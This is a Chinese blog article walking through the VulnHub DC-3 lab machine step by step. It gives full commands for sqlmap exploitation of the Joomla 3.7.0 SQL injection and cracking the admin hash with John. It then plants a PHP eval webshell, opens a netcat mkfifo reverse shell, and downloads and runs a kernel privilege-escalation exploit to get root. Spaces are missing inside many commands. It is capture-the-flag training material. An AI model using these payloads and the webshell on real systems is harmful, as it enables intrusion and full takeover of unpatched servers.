ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

VulnHub之DC-3靶场完整通关步骤(VulnHub)

2026/8/4 3:04:14 拓冰建站 浏览量
VulnHub之DC-3靶场完整通关步骤(VulnHub)

DC-3靶场完整通关步骤(VulnHub)

整体流程:主机发现→端口扫描→Joomla漏洞探测→SQL注入拿管理员账号→后台写入WebShell→获取www-data Shell→内核提权Root→读取Flag
环境:Kali攻击机、DC-3靶机,两者统一NAT/桥接网段

一、信息收集

1. 探测靶机IP(3种常用命令)

# 方式1 全网段arp扫描arp-scan-l# 方式2 nmap存活主机扫描nmap-sP192.168.x.0/24-T4# 方式3 快速扫描netdiscover

记录靶机IP,示例:192.168.1.129

2. 全端口+服务版本扫描

DC-3仅开放80端口,无SSH等端口:

nmap-sV-p--A192.168.1.129

扫描结果:Apache2.4、Joomla 3.7.0 CMS、Ubuntu16.04、Linux内核4.4

3. Web框架确认

  • 浏览器访问http://靶机IP,页面提示仅web入口;
  • 后台地址:http://靶机IP/administrator
  • 工具探测版本:
# joomla专用扫描器joomscan-uhttp://192.168.1.129# 指纹识别whatweb http://192.168.1.129

漏洞定位:Joomla3.7.0 CVE-2017-8917 SQL注入漏洞

二、SQL注入爆破管理员账号密码

1. SQLMap脱库拿用户哈希

注入payload固定参数:
index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=
执行sqlmap导出joomla数据库用户表:

sqlmap-u"http://192.168.1.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=xxx"\-Djoomla-T'#__users'-Cusername,password--dump

导出结果:
用户名:admin
加密哈希:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Z

2. John爆破BCrypt哈希

  1. 将哈希写入文本hash.txt
  2. 字典爆破:
john hash.txt--wordlist=/usr/share/wordlists/rockyou.txt

明文密码:snoopy
账号:admin 密码:snoopy

三、Joomla后台写入WebShell,GetShell

1. 登录后台

访问http://靶机IP/administrator,使用admin/snoopy登录后台

2. 模板编辑写入一句话木马

  1. 顶部菜单栏:Extensions → Templates → Templates(站点模板)
  2. 选择模板:Beez3→ 点击New File新建php文件
  3. 写入一句话php木马:
<?php@eval($_POST['cmd']);?>

保存文件名:shell.php
4. 访问路径:http://靶机IP/templates/beez3/shell.php

3. 两种Shell连接方式

方式1:蚁剑/菜刀连接

URL填写上面地址,连接密码cmd,直接可视化管理靶机文件。

方式2:反弹交互式Shell
  1. Kali监听端口:
nc-lvnp4444
  1. 靶机执行反弹命令(靶机nc不支持-e,管道反弹):
rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i2>&1|nc192.168.1.x4444>/tmp/f
  1. 升级交互式bash:
python-c'import pty;pty.spawn("/bin/bash")'

当前权限:www-data普通用户,必须提权Root。

四、内核漏洞提权(CVE-2016-4557 39772)

1. 查看系统内核版本

uname-a# 输出:Linux DC-3 4.4.0-21-generic Ubuntu16.04,匹配39772漏洞

2. 下载EXP到靶机

方法1:Kali开启简易http服务,靶机wget下载

Kali端:

# 下载漏洞EXPwgethttps://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip# 开启80端口webpython3-mhttp.server80

靶机端(www-data权限):

cd/tmpwgethttp://kaliIP/39772.zip

3. 编译执行EXP提权

# 解压压缩包unzip39772.zipcd39772tar-xvfexploit.tarcdebpf_mapfd_doubleput_exploit# 添加执行权限chmod+x compile.sh doubleput# 编译./compile.sh# 执行提权程序./doubleput

执行完成后,直接获得root最高权限

五、获取最终Flag

# 切换root目录cd/root# 读取flag文件catthe-flag.txt

内容:

Well Done!!! Congratulations are in order. :-) I hope you've enjoyed this challenge as I enjoyed making it. If there are any ways that I can improve these little challenges, please let me know. As per usual, comments and complaints can be sent via Twitter to @DCAU7 Have a great day!!!!

DC-3靶场通关完成。

补充常见排错

  1. 反弹shell失败:确认kali与靶机同网段、防火墙放行端口;
  2. john爆破慢:更换小字典优先爆破snoopy;
  3. 提权报错:必须在/tmp临时目录执行EXP,目录权限充足。